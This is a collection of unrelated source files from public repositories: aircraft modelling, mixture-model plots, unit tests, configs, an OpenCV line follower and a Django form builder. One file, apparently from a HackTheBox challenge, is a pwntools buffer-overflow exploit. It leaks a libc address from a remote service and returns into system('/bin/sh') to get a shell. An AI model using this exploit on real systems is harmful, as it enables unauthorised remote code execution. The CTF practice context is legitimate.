'Outboard' segment.percent_span_location = 0.3 segment.twist = 0.0 * Units.deg segment.root_chord_percent = 0.35 segment.dihedral_outboard = 4.0 * Units.deg segment.sweeps.quarter_chord = 20.0 * Units.deg segment.thickness_to_chord = 0.1 wing.Segments.append(segment) # add to vehicle vehicle.append_component(wing) # ------------------------------------------------------------------ # Fuselage # ------------------------------------------------------------------ fuselage = SUAVE.Components.Fuselages.Fuselage() fuselage.tag = 'fuselage_bwb' fuselage.fineness.nose = 0.65 fuselage.fineness.tail = 0.5 fuselage.lengths.nose = 4.0 fuselage.lengths.tail = 4.0 fuselage.lengths.cabin = 12.0 fuselage.lengths.total = 22.0 fuselage.lengths.fore_space = 1.0 fuselage.lengths.aft_space = 1.0 fuselage.width = 8.0 fuselage.heights.maximum = 3.8 fuselage.heights.at_quarter_length = 3.7 fuselage.heights.at_three_quarters_length = 2.5 fuselage.heights.at_wing_root_quarter_chord = 4.0 fuselage.areas.side_projected = 100. fuselage.areas.wetted = 400. fuselage.areas.front_projected = 40. R = (fuselage.heights.maximum-fuselage.width)/(fuselage.heights.maximum-fuselage.width) fuselage.effective_diameter = (fuselage.width/2 + fuselage.heights.maximum/2.)*(64.-3.*R**4.)/(64.-16.*R**2.) fuselage.differential_pressure = 5.0e4 * Units.pascal # Maximum differential pressure # add to vehicle vehicle.append_component(fuselage) # ------------------------------------------------------------------ # Turbofan Network # ------------------------------------------------------------------ #instantiate the gas turbine network turbofan = SUAVE.Components.Energy.Networks.Turbofan() turbofan.tag = 'turbofan' # setup turbofan.number_of_engines = 2.0 turbofan.sealevel_static_thrust = 2* 10000 *Units.N # add gas turbine network gt_engine to the vehicle vehicle.append_component(turbofan) # ------------------------------------------------------------------ # Vehicle Definition Complete # ------------------------------------------------------------------ return vehicle # ---------------------------------------------------------------------- # Define the Configurations # --------------------------------------------------------------------- def configs_setup(vehicle): # ------------------------------------------------------------------ # Initialize Configurations # ------------------------------------------------------------------ configs = SUAVE.Components.Configs.Config.Container() base_config = SUAVE.Components.Configs.Config(vehicle) base_config.tag = 'base' configs.append(base_config) # done! return configs
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[email protected]/figureMoG.py
andresmasegosa/PRML-CoreSets
0
173214
<reponame>andresmasegosa/PRML-CoreSets import matplotlib.pyplot as plt import numpy as np from sklearn.cluster import KMeans import inferpy as inf from sklearn import metrics from datareduction.variational_gaussian_mixture_DR import VariationalGaussianMixture_DR from prml.rv import VariationalGaussianMixture from prml.features import PolynomialFeatures from prml.linear import ( VariationalLinearRegressor, VariationalLogisticRegressor ) from scipy import random, linalg ############## GENERATE DATA ######################## N=1000 K=2 M=10 D=2 np.random.seed(10) cov = np.random.rand(D,D) cov = np.dot(cov,cov.transpose()) x_train = np.random.multivariate_normal(np.repeat(5,D),cov,int(N/K)) x_test = np.random.multivariate_normal(np.repeat(5,D),cov,int(N/K)) y_test = np.repeat(0,int(N/K)) for i in range(1,K): x_train=np.append(x_train, np.random.multivariate_normal(np.repeat(10*i,D),cov,int(N/K)),axis=0) x_test=np.append(x_test, np.random.multivariate_normal(np.repeat(10*i,D),cov,int(N/K)),axis=0) y_test = np.append(y_test, np.repeat(i, int(N / K))) np.take(x_train,np.random.permutation(x_train.shape[0]),axis=0,out=x_train) a=0 b=15 c=0 d=15 #plt.scatter(x_train[:,0],x_train[:,1]) # plt.figure(0) # np.random.seed(1234) # vgmm = VariationalGaussianMixture(n_components=2) # vgmm.fit(x_train) # vgmm.mu # # plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm.classify(x_train)) # x0, x1 = np.meshgrid(np.linspace(a, b, 100), np.linspace(c, d, 100)) # x = np.array([x0, x1]).reshape(2, -1).T # plt.contour(x0, x1, np.exp(vgmm.logpdf(x)).reshape(100, 100)) # plt.xlim(-5, 10, 100) # plt.ylim(-5, 10, 100) # plt.gca().set_aspect('equal', adjustable='box') # plt.savefig("./figs/MoG_Artificial_TrueVI.pdf",bbox_inches='tight') plt.figure(0) np.random.seed(1234) vgmm_dr = VariationalGaussianMixture_DR(n_components=K) vgmm_dr.fit(x_train, n_clusters=2, cluster_method="SS") vgmm_dr.mu plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train)) x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000)) x = np.array([x0, x1]).reshape(2, -1).T plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000)) plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+') plt.xlim(a, b, 100) plt.ylim(c, d, 100) plt.gca().set_aspect('equal', adjustable='box') plt.savefig("./figs/MoG_Artificial_SS_M_2.pdf",bbox_inches='tight') plt.figure(1) np.random.seed(12) vgmm_dr = VariationalGaussianMixture_DR(n_components=K) vgmm_dr.fit(x_train, n_clusters=10, cluster_method="SS") vgmm_dr.mu plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train)) x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000)) x = np.array([x0, x1]).reshape(2, -1).T plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000)) plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+') plt.xlim(a, b, 100) plt.ylim(c, d, 100) plt.gca().set_aspect('equal', adjustable='box') plt.savefig("./figs/MoG_Artificial_SS_M_ 10.pdf",bbox_inches='tight') plt.figure(2) np.random.seed(10) vgmm_dr = VariationalGaussianMixture_DR(n_components=K) vgmm_dr.fit(x_train, n_clusters=2, cluster_method="NoSS") vgmm_dr.mu plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train)) x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000)) x = np.array([x0, x1]).reshape(2, -1).T plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000)) plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+') plt.xlim(a, b, 100) plt.ylim(c, d, 100) plt.gca().set_aspect('equal', adjustable='box') plt.savefig("./figs/MoG_Artificial_NoSS_M_2.pdf",bbox_inches='tight') plt.figure(3) np.random.seed(10) vgmm_dr = VariationalGaussianMixture_DR(n_components=K) vgmm_dr.fit(x_train, n_clusters=10, cluster_method="NoSS") vgmm_dr.mu plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train)) x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000)) x = np.array([x0, x1]).reshape(2, -1).T plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000)) plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+') plt.xlim(a, b, 100) plt.ylim(c, d, 100) plt.gca().set_aspect('equal', adjustable='box') plt.savefig("./figs/MoG_Artificial_NoSS_M_10.pdf",bbox_inches='tight') plt.figure(4) np.random.seed(0) vgmm_dr = VariationalGaussianMixture_DR(n_components=K) vgmm_dr.fit(x_train, n_clusters=10, cluster_method="random") vgmm_dr.mu plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train)) x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000)) x = np.array([x0, x1]).reshape(2, -1).T plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000)) plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=100.0, marker='+') plt.xlim(a, b, 100) plt.ylim(c, d, 100) plt.gca().set_aspect('equal', adjustable='box') plt.savefig("./figs/MoG_Artificial_Random_M_10_0.pdf",bbox_inches='tight') plt.figure(5) np.random.seed(123456) vgmm_dr = VariationalGaussianMixture_DR(n_components=K) vgmm_dr.fit(x_train, n_clusters=10, cluster_method="random") vgmm_dr.mu plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train)) x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000)) x = np.array([x0, x1]).reshape(2, -1).T plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000)) plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=100.0, marker='+') plt.xlim(a, b, 100) plt.ylim(c, d, 100) plt.gca().set_aspect('equal', adjustable='box') plt.savefig("./figs/MoG_Artificial_Random_M_10_1.pdf",bbox_inches='tight') plt.show()
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tests/test_is_valid_php_version_file_version.py
gerardroche/sublime-phpunit
85
9061
from PHPUnitKit.tests import unittest from PHPUnitKit.plugin import is_valid_php_version_file_version class TestIsValidPhpVersionFileVersion(unittest.TestCase): def test_invalid_values(self): self.assertFalse(is_valid_php_version_file_version('')) self.assertFalse(is_valid_php_version_file_version(' ')) self.assertFalse(is_valid_php_version_file_version('foobar')) self.assertFalse(is_valid_php_version_file_version('masterfoo')) self.assertFalse(is_valid_php_version_file_version('.')) self.assertFalse(is_valid_php_version_file_version('x')) self.assertFalse(is_valid_php_version_file_version('x.x')) self.assertFalse(is_valid_php_version_file_version('x.x.x')) self.assertFalse(is_valid_php_version_file_version('x')) self.assertFalse(is_valid_php_version_file_version('snapshot')) def test_master_branch_version(self): self.assertTrue(is_valid_php_version_file_version('master')) def test_specific_semver_versions(self): self.assertTrue(is_valid_php_version_file_version('5.0.0')) self.assertTrue(is_valid_php_version_file_version('5.0.1')) self.assertTrue(is_valid_php_version_file_version('5.0.7')) self.assertTrue(is_valid_php_version_file_version('5.0.30')) self.assertTrue(is_valid_php_version_file_version('5.0.32')) self.assertTrue(is_valid_php_version_file_version('5.1.0')) self.assertTrue(is_valid_php_version_file_version('5.1.1')) self.assertTrue(is_valid_php_version_file_version('5.1.3')) self.assertTrue(is_valid_php_version_file_version('5.1.27')) self.assertTrue(is_valid_php_version_file_version('7.0.0')) self.assertTrue(is_valid_php_version_file_version('7.1.19')) def test_minor_versions(self): self.assertTrue(is_valid_php_version_file_version('5.6')) self.assertTrue(is_valid_php_version_file_version('7.1')) self.assertTrue(is_valid_php_version_file_version('7.2')) def test_major_dot_x_versions(self): self.assertTrue(is_valid_php_version_file_version('5.x')) self.assertTrue(is_valid_php_version_file_version('6.x')) self.assertTrue(is_valid_php_version_file_version('7.x')) self.assertTrue(is_valid_php_version_file_version('8.x')) def test_major_dot_minor_dot_x_versions(self): self.assertTrue(is_valid_php_version_file_version('7.0.x')) self.assertTrue(is_valid_php_version_file_version('7.1.x')) self.assertTrue(is_valid_php_version_file_version('7.2.x')) def test_snapshot_versions(self): self.assertTrue(is_valid_php_version_file_version('5.4snapshot')) self.assertTrue(is_valid_php_version_file_version('5.5snapshot')) self.assertTrue(is_valid_php_version_file_version('5.6snapshot')) self.assertTrue(is_valid_php_version_file_version('7.0snapshot')) self.assertTrue(is_valid_php_version_file_version('7.1snapshot')) self.assertTrue(is_valid_php_version_file_version('7.0.0snapshot')) self.assertTrue(is_valid_php_version_file_version('7.1.0snapshot')) self.assertTrue(is_valid_php_version_file_version('7.1.1snapshot'))
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tests/fixtures/annotations/model.py
akretion/xsdata
0
188092
<filename>tests/fixtures/annotations/model.py from __future__ import annotations from dataclasses import dataclass, field from typing import Optional from tests.fixtures.annotations.units import unit __NAMESPACE__ = "http://domain.org/schema/model" @dataclass class Measurement: value: Optional[float] = field( default=None, metadata={ "required": True, } ) unit: Optional[unit] = field( default=None, metadata={ "type": "Attribute", } ) @dataclass class Weight(Measurement): class Meta: namespace = "http://domain.org/schema/model"
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scripts-config/ta3/remote-runner-scripts/bbn_config.py
nathanawmk/SPARTA
37
179346
# ***************************************************************** # Copyright 2013 MIT Lincoln Laboratory # Project: SPAR # Authors: ni24039 # Description: Config file to be used with remote_runner.py # # Modifications: # Date Name Modification # ---- ---- ------------ # 10 Jan 2013 ni24039 Original Version # ***************************************************************** import copy # ============================================================================= # NOTE Put any convenience variables you may need in this area. HOME_DIR = "/home/" + options.ssh_user + "/" BASE_DIR = HOME_DIR + "spar-testing/" # ============================================================================= # ============================================================================= # Base component # NOTE Put any component settings here that will be common to all components. base_component = Component() # TODO(njhwang) seems like this doesn't work for large # of files...taking too # long to hash files and diff them #base_component.files.update(util.recursive_files_dict(HOME_DIR + "test", HOME_DIR + "test")) #base_component.files.update(util.recursive_files_dict(HOME_DIR + "extern", HOME_DIR + "extern")) #base_component.files.update(util.recursive_files_dict(HOME_DIR + "jmiracl", HOME_DIR + "jmiracl")) #base_component.files.update(util.recursive_files_dict(HOME_DIR + "p3s-1.0", HOME_DIR + "p3s-1.0")) #base_component.files.update(util.recursive_files_dict(HOME_DIR + "includedir", HOME_DIR + "includedir")) #base_component.files.update(util.recursive_files_dict(HOME_DIR + "libdir", HOME_DIR + "libdir")) #base_component.files.update(util.recursive_files_dict(HOME_DIR + ".m2", HOME_DIR + ".m2")) # ============================================================================= # ============================================================================= # Third party component # NOTE Include as many third party components as needed. The configuration for # each one should look like the following. The name must start with # 'third-party-'. tp = copy.deepcopy(base_component) tp.name = "third-party-ds" tp.host = "10.10.99.218" tp.start_index = 1 tp.executable = "./run-DS.sh" tp.files[HOME_DIR + "run-DS.sh"] = "run-DS.sh" # TODO these shouldn't be core-pinned at all tp.num_cores = 10 config.add_component(tp) tp = copy.deepcopy(base_component) tp.name = "third-party-rs" tp.host = "10.10.99.221" tp.start_index = 2 tp.executable = "./run-RS.sh" tp.files[HOME_DIR + "run-RS.sh"] = "run-RS.sh" # TODO these shouldn't be core-pinned at all tp.num_cores = 10 config.add_component(tp) tp = copy.deepcopy(base_component) tp.name = "third-party-ts" tp.host = "10.10.99.214" tp.start_index = 3 tp.executable = "./run-TS.sh" tp.files[HOME_DIR + "run-TS.sh"] = "run-TS.sh" # TODO these shouldn't be core-pinned at all tp.num_cores = 5 config.add_component(tp) tp = copy.deepcopy(base_component) tp.name = "third-party-ara" tp.host = "10.10.99.214" tp.start_index = 4 tp.executable = "./run-ARA.sh" tp.files[HOME_DIR + "run-ARA.sh"] = "run-ARA.sh" # TODO these shouldn't be core-pinned at all tp.num_cores = 5 config.add_component(tp) # ============================================================================= # ============================================================================= # Publisher component server = copy.deepcopy(base_component) server.name = "server" # NOTE Everything below should be updates as needed per SUT requirements. # # server.host should be updated as desired as the testing environment # dictates. The muddler file that is run with this config file will reference a # particular 'host info' file located in scripts-config/common/config/. The host # info file will contain a list of all workstations in the environment with the # following space-separated information: # IP address, number of cores, model name, whether the system is hyperthreaded # # server.host should be set to one of the IP addresses in the host info file # that will be used. server.host = "10.10.99.219" server.start_index = 5 server.executable = "./run-producer.sh" server.files["/home/lincoln/extern/ta3/bin/run-producer.sh"] = "run-producer.sh" server.num_cores = 2 # ============================================================================= config.add_component(server) # ============================================================================= # Subscriber component client = copy.deepcopy(base_component) client.name = "client" # NOTE client.host will be automatically populated by muddler. Whatever you set # this to won't matter. client.host will eventually be set based on # client.num_cores, how many clients are specified in the muddler, and which # model names from the host info file are allowed to run client SUTs. client.start_index = 6 client.host = "TBD" client.executable = "./run-SUB-lincoln.sh" # NOTE Everything below should be updates as needed per SUT requirements. # # If "%n" is present anywhere in client.args, it will be replaced with a # unique integer representing the client SUT's ID. Take advantage of this when a # SUT needs a unique argument of some sort. Otherwise, each SUT will receive the # same arguments. client.args should NOT contain any semi-colons or double # quotes. client.files[HOME_DIR + "run-SUB-lincoln.sh"] = "run-SUB-lincoln.sh" client.args = ["%n"] client.num_cores = 1 # ============================================================================= config.add_component(client)
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catalyst_gan/nn/criterion/__init__.py
WilliamAshbee/gan
6
150220
<filename>catalyst_gan/nn/criterion/__init__.py from .bce_gan import ( BCELossDiscriminator, BCELossGenerator, BCELossDiscriminatorFake, BCELossDiscriminatorReal ) from .hinge import ( HingeLossDiscriminator, HingeLossGenerator, HingeLossDiscriminatorFake, HingeLossDiscriminatorReal ) from .wasserstein import ( WassersteinLossDiscriminator, WassersteinLossGenerator, WassersteinLossDiscriminatorFake, WassersteinLossDiscriminatorReal, WassersteinDistance ) from .metrics import AverageValue, AverageProbability
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testbed_frontend/api/emulation/task_manager.py
Ncu-software-research-center/IIOT-testbed
1
55548
''' Vortex OpenSplice This software and documentation are Copyright 2006 to TO_YEAR ADLINK Technology Limited, its affiliated companies and licensors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' import threading import time import redis from api.emulation import Config, EmulationStatus from api.emulation.task_queue import TaskQueue from api.emulation.task_worker import TaskWorker class TaskManager: def __init__(self): self.task_queue = TaskQueue() self.task_worker = TaskWorker() self.redis_connection = redis.StrictRedis( host=Config.FRONTEND_IP, port=Config.REDIS_PORT, password=Config.REDIS_PASSWORD, encoding="utf-8", decode_responses=True) self.wait_task() def wait_task(self): self.execution_thread = threading.Thread(target=self._exectue_task, name='execution_thread', args=()) self.execution_thread.daemon = True self.execution_thread.start() def get_available_device(self): def check_heartbeat(ip_address): TIME_LIMIT = 2 current_time = float(self.redis_connection.time()[0]) worker_time = float(self.redis_connection.hget(ip_address, "time")) return current_time - worker_time < TIME_LIMIT time.sleep(1) avaliable_ip_address = [] for ip in self.redis_connection.scan_iter("ip:*"): if check_heartbeat(ip): avaliable_ip_address.append(ip) return avaliable_ip_address def get_all_tasks(self): pending_tasks = self.task_queue.get_all_tasks() executing_task = self.task_worker.executing_task executing_task['emulation_status'] = self.get_executing_task_status() return [executing_task] + pending_tasks def get_task_size(self): return self.task_queue.get_pending_task_size() + int(self.task_worker.get_executing_task_id() != '0') def add_task_into_queue(self, task: dict): new_task = self.task_queue.add_task(task) return new_task def _manager_is_running(self): """ This function is used to testting. """ return True def _exectue_task(self): while self._manager_is_running(): if self.task_queue.get_pending_task_size() > 0: print('execute task') task = self.task_queue.get_first_task() self.task_worker.execute_task(task) print('finish task') time.sleep(1) def _abort_executing_task(self): aborted_task = self.task_worker.abort_executing_task() return aborted_task def _cancel_task_from_queue(self, task_id): canceled_task = self.task_queue.cancel_pending_task(task_id) return canceled_task def delete_task(self, task_id): if self.task_worker.get_executing_task_id() == task_id: print('abort') deleted_task = self._abort_executing_task() else: deleted_task = self._cancel_task_from_queue(task_id) return deleted_task def get_executing_task(self): return self.task_worker.executing_task def get_executing_task_status(self): return self.task_worker.get_executing_task_status()
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breidablik/interpolate/test_spectra.py
ellawang44/Breidablik
2
96315
from breidablik.interpolate.spectra import Spectra import numpy as np import pytest import warnings try: Spectra() flag = False except: flag = True # skip these tests if the trained models are not present pytestmark = pytest.mark.skipif(flag, reason = 'No trained Spectra model') class Test_find_abund: @classmethod def setup_class(cls): cls.models = Spectra() def test_monontonic(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([1, 3, 2], [4, 5, 6], [1, 1, 1], 4000, 1.5, 0) def test_shape(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([1, 2], [1], [1], 5000, 2.5, -2) Test_find_abund.models.find_abund([1], [1, 2], [1], 5000, 2.5, -2) Test_find_abund.models.find_abund([1], [1], [1, 2], 5000, 2.5, -2) def test_dimension(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([[1, 2], [2, 3]], [1], [1], 5000, 2.5, -2) Test_find_abund.models.find_abund([1], [[1, 2], [2, 3]], [1], 5000, 2.5, -2) Test_find_abund.models.find_abund([1], [1], [[1, 2], [2, 3]], 5000, 2.5, -2) def test_method(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([1, 2, 3], [4, 5, 6], [1, 1, 1], 5000, 1, 1, method = 'hi') def test_min_max_abund(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([1], [1], [1], 1, 1, 1, min_abund = 8, max_abund = -1) def test_abund_prior_warning(self): with warnings.catch_warnings(record = True) as w: warnings.simplefilter('always') Test_find_abund.models.find_abund([600, 700], [1, 0.5], [0.5, 0.5], 5000, 2.5, -2, method = 'chisq', prior = [1, 2, 3], abunds = [1, 2, 3]) Test_find_abund.models.find_abund([600, 700], [1, 0.9], [0.5, 0.5], 5000, 2.5, -2, prior = [1, 2, 3]) Test_find_abund.models.find_abund([600, 700], [1, 0.9], [0.5, 0.5], 5000, 2.5, -2, abunds = [1, 2, 3]) assert len(w) == 3 for i in range(len(w)): assert issubclass(w[i].category, UserWarning) def test_wl_overlap(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([1, 2], [1, 0.6], [0.1, 0.21], 5000, 4.5, -1) def test_abund_prior_shape(self): with pytest.raises(ValueError): Test_find_abund.models.find_abund([680, 690], [1, 1], [1, 1], 5000, 2.5, -2, abunds = [1, 2], prior = [1]) Test_find_abund.models.find_abund([680, 690], [1, 1], [1, 1], 5000, 2.5, -2, abunds = [[1, 2]], prior = [[1, 3]]) def test_warning_pred_abund(self): # define square wave wls = np.linspace(670.5, 671.4, 1000) flux = np.full(len(wls), 1) flux[(670.95 <= wls) & (wls < 670.99)] = 0 flux_err = np.full(len(wls), 0.1) # catch warning for predicted value outside of grid with warnings.catch_warnings(record = True) as w: warnings.simplefilter('always') Test_find_abund.models.find_abund(wls, flux, flux_err, 6000, 4, -3, method = 'chisq', max_abund = 5) assert len(w) == 1 assert issubclass(w[0].category, UserWarning) class Test_predict_flux: @classmethod def setup_class(cls): cls.models = Spectra() def test_input_shape(self): with pytest.raises(ValueError): Test_predict_flux.models.predict_flux([1], 1, 1, 1) Test_predict_flux.models.predict_flux(1, [1], 1, 1) Test_predict_flux.models.predict_flux(1, 1, [1], 1) Test_predict_flux.models.predict_flux(1, 1, 1, [1]) def test_warning_abundance(self): with warnings.catch_warnings(record = True) as w: warnings.simplefilter('always') Test_predict_flux.models.predict_flux(5000, 2.5, -2, -1) Test_predict_flux.models.predict_flux(5000, 2.5, -2, 5) assert len(w) == 2 for i in range(len(w)): assert issubclass(w[i].category, UserWarning)
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core_get/configuration/environment_settings.py
core-get/core-get
0
51668
from dataclasses import dataclass from pathlib import PurePath from typing import Optional @dataclass(frozen=True) class EnvironmentSettings: working_dir: PurePath project_dir: Optional[PurePath] app_dir: PurePath cache_dir: PurePath catalog_url: str
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XmanLang/XqlListener.py
Vladislav-Zolotaryov/XmlMaster
0
169527
# Generated from Xql.g4 by ANTLR 4.7.1 from antlr4 import * if __name__ is not None and "." in __name__: from .XqlParser import XqlParser else: from XqlParser import XqlParser # This class defines a complete listener for a parse tree produced by XqlParser. class XqlListener(ParseTreeListener): # Enter a parse tree produced by XqlParser#r. def enterR(self, ctx:XqlParser.RContext): pass # Exit a parse tree produced by XqlParser#r. def exitR(self, ctx:XqlParser.RContext): pass
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test/test_step.py
codesaurus97/fruit
0
113269
from fruit.modules.step import Step import unittest
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imagerecognition/LineFollow/test_video.py
uwrov/2017-2019
2
121973
import cv2 import time # Remove Later import numpy as np video = cv2.VideoCapture("./img/vert2.mp4") target_low = (0, 0, 0) target_high = (50, 50, 50) while True: ret, frame = video.read() if not ret: video = cv2.VideoCapture("./img/vert2.mp4") continue image = frame image = cv2.resize(image, (0,0), fx=0.25, fy=0.25) image = cv2.GaussianBlur(image, (5,5), 3) Blackline= cv2.inRange(image, target_low, target_high) kernel = np.ones((3,3), np.uint8) Blackline = cv2.erode(Blackline, kernel, iterations=1) # Remove noise Blackline = cv2.dilate(Blackline, kernel, iterations=9) # Restore box sizes contours, hierarchy = cv2.findContours(Blackline.copy(),cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE) cv2.drawContours(image, contours, -1, (0, 200, 0), 3) for c in contours: x,y,w,h = cv2.boundingRect(c) cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 255), 3) cv2.line(image, (x+(w//2), 200), (x+(w//2), 250),(255,0,0),3) cv2.imshow("orginal with line", image) time.sleep(0.025) key = cv2.waitKey(1) if key == 27: break cv2.waitKey(0) cv2.destroyAllWindows()
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Challenges/Space/bof_libc_leak.py
limitedeternity/HackTheBox
0
54574
<reponame>limitedeternity/HackTheBox<filename>Challenges/Space/bof_libc_leak.py # coding: utf-8 from pwn import * HOST, PORT = "172.16.17.32", 30203 elf = context.binary = ELF("./space") r = elf.process() r.recvuntil(">") r.sendline(cyclic(1024)) r.wait() r.close() core = Coredump("./core") buffer_size = cyclic_find(core.fault_addr) # readelf -r ./space function_to_leak = "read" def stdout_fn(): try: return p32(elf.plt["puts"]) except: return p32(elf.plt["printf"]) leak_payload = ("A" * buffer_size) + stdout_fn() + p32(elf.sym["main"]) + p32(elf.got[function_to_leak]) r = remote(HOST, PORT) r.recvuntil(">") r.sendline(leak_payload) leak = r.recvuntil(">") leaked_offset = u32(leak[1:5]) print function_to_leak + "@offset:", hex(leaked_offset) print "Now, search for a libc by this function+offset (https://libc.blukat.me)." print "Note, that you maybe will need to bruteforce libc versions / functions to leak." libc = ELF(raw_input("Path to libc: ").strip()) offset = libc.sym[function_to_leak] libc_base = leaked_offset - offset system_offset = libc.sym["system"] exit_offset = libc.sym["exit"] sh_offset = next(libc.search('/bin/sh\x00')) ret_payload = ("\x90" * buffer_size) + p32(libc_base + system_offset) + p32(libc_base + exit_offset) + p32(libc_base + sh_offset) r.sendline(ret_payload) r.interactive()
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src/form_builder/views.py
danny8000/collab-form-builder
4
53284
import csv import datetime import re import json import unicodedata from django.shortcuts import render_to_response, get_object_or_404 from django.template import RequestContext from django.http import HttpResponseRedirect, HttpResponse from django.core.urlresolvers import reverse from django.contrib.auth.decorators import login_required from django.views.decorators.http import require_POST from django.contrib import messages from core.models import Person from core.notifications.email import EmailInfo from core.notifications.models import Notification from form_builder.models import Form, Field, FormResponse, AnonymousResponse from form_builder.forms import FormForm, FieldForm, FieldFormSet, ResponseForm # Helper functions def create_templates(): templates = [(field_type, FieldForm(field_type=field_type, prefix="field_set-{{ i }}")) for (field_type, _) in Field.FIELD_TYPES] return templates def add_message(*args, **kwargs): if 'fail_silently' not in kwargs: kwargs['fail_silently'] = True return messages.add_message(*args, **kwargs) def response_dict(**kwargs): return dict({ 'active_app': 'Form Builder', 'app_link': reverse('form_builder:index')}, **kwargs) def normalize(string): return unicodedata.normalize('NFKD', string).encode('ascii','ignore').strip() # Views @login_required def index(req): forms = req.user.form_set.all() return render_to_response('form_builder/index.html', response_dict(forms=forms), context_instance=RequestContext(req)) def redirect_to_index_or_form(req, form, fields, action="created"): if fields: add_message(req, messages.SUCCESS, "Your form has been " + action + ".") return HttpResponseRedirect(reverse('form_builder:index')) else: add_message(req, messages.INFO, "Your form has been " + action + ". " + "Before others can fill it out, you need to create some " "fields.") return HttpResponseRedirect(reverse('form_builder:edit', args=[form.slug])) @login_required def new(req): form_form = FormForm(req.POST or None) field_form_set = FieldFormSet(req.POST or None) if form_form.is_valid() and field_form_set.is_valid(): custom_form = form_form.save(commit=False) custom_form.save() custom_form.owner.add(req.user) custom_form.save() field_form_set = FieldFormSet(req.POST, instance=custom_form) if field_form_set.is_valid(): fields = field_form_set.save() return redirect_to_index_or_form(req, custom_form, fields) context = RequestContext(req) context["formaction"] = "new" context['compact_header'] = 'compact-header' return render_to_response( 'form_builder/form.html', response_dict(form=form_form, fields=field_form_set, form_action=reverse('form_builder:new'), templates=create_templates()), context_instance=context) @login_required def edit(req, id): # autosave functionality switch, in case something goes wrong # 0=off; 1=on use_form_autosave = 0 custom_form = get_object_or_404(Form, owner=req.user, slug=id) form_form = FormForm(req.POST or None, instance=custom_form) field_form_set = FieldFormSet(req.POST or None, instance=custom_form) context = RequestContext(req) context['compact_header'] = 'compact-header' context["use_form_autosave"] = use_form_autosave context['custom_form'] = custom_form if form_form.is_valid() and field_form_set.is_valid(): custom_form = form_form.save() if req.POST['owner_stub']: person = Person.objects.get(stub=req.POST.get('owner_stub', '').strip()) collab_user = person.user custom_form.owner.add(collab_user) field_form_set.save() try: # In a case where someone created a form with no questions, # field_order would be blank. This would throw up an error to the # user, but the form data saves to the database fine. Easiest # solution is just to ignore the error; the expectation is that # most users will only save the form after adding at least a few # questions. custom_form.set_field_order(req.POST['field_order'].split(",")) except: pass # FORM AUTOSAVE # ============= # Assuming that the form saved properly, send response data back to # the client. This includes a dictionary containing a current queryset # of fields on the form. # This is used by the client to make DOM changes to match the current state of # the form. if (use_form_autosave == 1): time_now = datetime.datetime.now().strftime('%I:%M%p') field_list = Field.objects.filter(id=custom_form.id) field_dict = {} for field_instance in field_list: field_dict[field_instance.id] = field_instance.label responsedata = { "message": "Your form was updated at " + re.sub(r'\A0', '', time_now.lower()) + ".", "formfields": field_dict, } return HttpResponse(json.dumps(responsedata), content_type="application/json") else: add_message(req, messages.SUCCESS, "Your form has been updated.") return HttpResponseRedirect(reverse('form_builder:index')) elif form_form.errors or field_form_set.errors: # this code typically executes when someone has added a form field but # has not filled in a required element, such as the label; it ensures # that the code continues to run without bombing out if (use_form_autosave == 1): field_dict = {} responsedata = { "message": "Waiting to update form...", "formfields": field_dict, } return HttpResponse(json.dumps(responsedata), content_type="application/json") return render_to_response( 'form_builder/form.html', response_dict(form=form_form, fields=field_form_set, form_action=reverse('form_builder:edit', args=[custom_form.slug]), templates=create_templates()), context_instance=context) @login_required def respond(req, id): user_form = get_object_or_404(Form, slug=id) already_responded = AnonymousResponse.objects.check_dupe(user_form.id, req.user.username) if not already_responded: if req.GET: for field in user_form.field_set.all(): if req.GET.has_key(field.label): field.default_value = req.GET[field.label] field.save() response_form = ResponseForm( req.POST or None, form=user_form, user=req.user) if not user_form.is_closed and response_form.is_valid(): form_response = response_form.save() 